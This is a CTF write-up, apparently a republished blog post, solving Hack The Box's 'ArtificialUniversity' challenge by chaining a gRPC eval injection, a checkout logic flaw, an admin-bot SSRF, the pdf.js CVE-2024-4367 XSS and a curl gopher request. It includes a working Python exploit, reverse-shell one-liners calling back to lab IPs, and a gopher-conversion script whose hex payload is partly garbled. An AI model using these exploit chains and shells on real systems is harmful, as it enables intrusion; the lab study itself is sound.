Hack the Box Practice Range

0 23
ArtificialUniversity is a web challenge on Hack The Box with the INSANE difficul...
ArtificialUniversity is a web challenge on Hack The Box with the INSANE difficulty Chanllenges, simulating an online education platform's shopping mall module for purchasing courses. The project source code is divided into two parts: grpc-enabled product_api service and flask-enabled store mall web. The challenge only opens the web port to the outside, suggesting that a point to trigger the grpc mechanism must be found in the web to complete the challenge, and the final rce should be on the grpc side. Therefore, after setting up the local environment, the api part should be analyzed first.

image.png

GRPC

In api.py, the GenerateProduct function calls the eval function, and the only external function that calls GenerateProduct is GetNewProducts. If a method to control the price_formula parameter is found, calling GetNewProducts will allow command execution.

image.png
In api.py, there is also an UpdateService function that can modify key-value pair attributes based on the input dictionary, which is called by the external function DebugService.
image.png
The role of DebugService is to receive parameters from the client and then call UpdateService.
image.png
Therefore, an exploit chain can be constructed, first calling DebugService to modify "price_formula" to the command to be executed, then calling GetNewProducts to trigger eval, and completing the following exp with the help of deepseek. The command to generate the grpc module from the project's built-in proto file is:
python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. product.proto

Hack the Box Practice Range
import grpc
import product_pb2
import product_pb2_grpc
from google.protobuf.struct_pb2 import Struct

def exploit():
    # Connect to gRPC service
    channel = grpc.insecure_channel('127.0.0.1:50051')  # Replace with target service address
    stub = product_pb2_grpc.ProductServiceStub(channel)

    # Construct malicious requests, setting price_formula to command execution code
    merge_request = product_pb2.MergeRequest()
    merge_request.input['price_formula'].string_value = "__import__('os').system('touch /tmp/pwn')"

    # Use native python to reverse shell
    # merge_request.input['price_formula'].string_value = '''__import__('os').system('python3 -c \'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1",4242));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")\'')'''


    # Call the DebugService interface, passing in a malicious MergeRequest
    print("[*] Sending malicious DebugService request...")
    stub.DebugService(merge_request)

    # Call GetNewProducts to trigger eval to execute commands
    print("[*] Triggering GenerateProduct to execute the payload...")
    response = stub.GetNewProducts(product_pb2.Empty())
    print("Response received:", response)

if __name__ == "__main__":
    exploit()

After the command execution is successfully replicated in the local environment, it is necessary to consider how to use such an exploit on the web side.

WEB

After failing to find vulnerabilities such as injection and upload, the analysis of each interface under ruotes.py started one by one. Among them, /admin/xxxx are contents that require admin account login to access.

/checkout/success

During the attempt to find privilege escalation vulnerabilities, a suspicious operation was found in the /checkout/success interface. It can be seen that after the judgment symbol condition, the admin account and password are automatically passed in to call the bot_runner function.
image.png
Following the bot_runner function, its purpose is to simulate the client accessing and obtaining the payment order-generated PDF through the Firefox browser, but since the payment_id is controllable, when the payment_id is /https://www.freebuf.com/articles/admin/xxx, the process is that Firefox accesses http://127.0.0.1:1337/admin/xxx.pdf as the admin, due to the simulated browser operation plus the '#' as the fragment identifier "/https://www.freebuf.com/articles/admin/xxx#
image.png
However, there is still an issue to trigger the bot_runner function, which requires satisfying the preceding conditions if amt_paid >= order.price, otherwise, it will directly redirect to error.html. Reading through the entire text reveals that the value of amt_paid is 0 and cannot be changed, which means that only when the entered order price is negative can this condition be met. The next consideration is how to create an order with a price less than 0.

/checkout

Upon visiting the interface for creating an order at /checkout, one can see some peculiar logic. When a product_id is entered, the code block under the if product_id: statement directly generates a default order information, and entering parameters such as price has no effect on the order. However, when parameters are entered without product_id but including the other four complete parameters, the result of if product_id and not session.get("loggedin") will be false, thereby bypassing the login verification and directly executing the subsequent code (but since a user_id is passed, this bypass of login verification has no practical significance, and it is still recommended to log in for the next operation for the convenience of obtaining the order_id). Moreover, the result of the entire judgment statement if not product_id and (not price or not title or not user_id or not email) will also be false, allowing the program to continue running, as the judgment statement if product_id: will execute the else branch statement to create an order with user-controlled content.
image.png
Users can create an order with a negative price based on this.
image.png
After logging in, visit the /subs interface to obtain the order_id for creating an order with a negative price.
image.png
Combined with the previous /checkout/success interface, it is possible to access the complete exploitation of the admin interface /checkout/success?order_id=6&payment_id=/admin/xxx, but this exploitation is particularly limited, and it can only send GET requests to the target interface, and the entire process is accessed through Firefox on the server and cannot see the feedback. What needs to be done next is to find the exploitable points of interfaces related to /admin.

/admin/view-pdf

Find a view-pdf interface under the admin interface. This interface can preview the content of the target pdf based on the url parameter.

image.png
Test this interface locally (consider whether the target environment is online and also test on the target environment, and find that the target machine can access the pdf placed on the vps).
image.png
In fact, at this point, we have run out of options. There is only a function to access pdf, and other interfaces are also difficult to exploit because they can only accept GET requests. While searching for information, I foundf1yth1efA thought provided by the master. We can use an XSS vulnerability in a named pdf.js to construct a payload that automatically redirects to a target path and carries POST content. When the server simulates Firefox to open this pdf, it can send a POST request to access other interfaces under /admin.

/admin/api-health

When making a POST request to the api-health interface server, the get_url_status_code function is called.

image.png
Entering the get_url_status_code function, which uses the subprocess module to simulate terminal usage of curl to send requests.
image.png
According to the idea of f1yth1ef master, we can convert the previous grpc request into gopher protocol operations that can be sent by curl, similar to the ssrf exploit chain to attack internal redis. The next step is to convert the exp constructed by analyzing the grpc part into gopher protocol.

Gopher conversion

First, run api.py locally and capture the execution process of exp using Wireshark. Open the TCP stream and copy the raw data of the request part.

image.png
Replace the raw_hex part in the following conversion script with the copied raw data and run

import binascii
import urllib.parse

def hex_to_gopher(hex_str: str) -> str:
    """Directly convert pure Hex string to gopher URL"""
    # Clean non-Hex characters
    cleaned = hex_str.replace(" ", "").replace("\n", "").strip()

    # Verify Hex length
    if len(cleaned) % 2 != 0:
        raise ValueError("Invalid Hex length")

    try:
        binary = binascii.unhexlify(cleaned)
    except binascii.Error as e:
        raise ValueError(f"Hex decoding failed: {str(e)}")

    # Basic protocol verification
    if not binary.startswith(b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'):
        raise ValueError("Invalid HTTP/2 magic bytes")

    # Generate gopher URL
    encoded = urllib.parse.quote(binary, safe='')
    return f"gopher://127.0.0.1:50051/_{encoded}"

# Input data (cleaned continuous Hex)
raw_hex = """
505249202a20485454502f322e300d0a0d0a534d0d0a0d0a000024040000000000000200000000000300000000000400400000000500400000000600004000fe0300000001000004080000000000003f0001
000000040100000000
0000e101040000000140053a70617468242f70726f647563742e50726f64756374536572766963652f446562756753657276696365400a3a617574686f726974790f6c6f63616c686f73743a35303035318386400c636f6e74656e742d74797065106170706c69636174696f6e2f677270634002746508747261696c6572734014677270632d6163636570742d656e636f64696e67176964656e746974792c206465666c6174652c20677a6970400a757365722d6167656e7430677270632d707974686f6e2f312e37302e3020677270632d632f34352e302e3020286c696e75783b2063687474703229000004080000000001000000050000ce00010000000100000000c90ac6010a0d70726963655f666f726d756c6112b4010ab1015f5f696d706f72745f5f28276f7327292e73797374656d2827707974686f6e33202d63205c27696d706f727420736f636b65742c6f732c7074793b733d736f636b65742e736f636b657428293b732e636f6e6e6563742828223137322e31372e302e31222c3637363729293b5b6f732e6475703228732e66696c6The binary code for the fourth segment is: 56e6f28292c66642920666f7220666420696e2028302c312c32295d3b7074792e737061776e28222f62696e2f6261736822295c27272900000408000000000000000005
The binary code for the third segment is: 0000080601000000002c20317a14a3fad2
The binary code for the second segment is: 000008060000000000deac00f8ef07f63c
The binary code for the first segment is: 00003501040000000340053a70617468262f70726f647563742e50726f64756374536572766963652f4765744e657750726f6475637473c38386c2c1c0bf00000408000000000300000005000005000100000003000000000000000408000000000000000005
00000806010000000049be420c8749b031
"""

try:
    # 生成URL
    gopher_url = hex_to_gopher(raw_hex)

    print("成功生成gopher URL:")
    print(gopher_url)

except ValueError as e:
    print("错误:", str(e))
得到gohper的数据

image.png
先在本地测试一下直接用curl命令能否执行exp中的touch /tmp/pwn命令。可能是粘包、服务器响应等问题,在运行多次curl命令发送payload后才能成功执行touch命令。
image.png
至此所需的利用条件已全部找到。

完整利用

首先用wireshark捕获通过exp反弹shell的请求,复制其raw数据,通过gopher转换脚本得到payload。

Then create a pdf using the CVE-2024-4367 vulnerability that automatically redirects to /admin/api-health and carries a cookie and post content as url=gopher://....., the key payload is as follows.
image.png
Place the pdf on a VPS accessible to the target range and start the web service.
image.png
Start a new terminal to open nc listening, waiting for subsequent operations to rebound a shell.
image.png
Trigger the /checkout logic vulnerability without the product_id parameter to create an order with a negative price
image.png
Then access /checkout/success using an order ID with a negative price to access the /admin/view-pdf interface, causing the server to access the pdf and trigger XSS redirection to execute the payload.
image.png
Rebound shell to get the flag.
image.png

Reference link

https://www.freebuf.com/articles/web/410492.html
https://cloud.tencent.com/developer/article/2420071

你可能想看:
最后修改时间:
admin
上一篇 2025年03月29日 11:26
下一篇 2025年03月29日 11:49

评论已关闭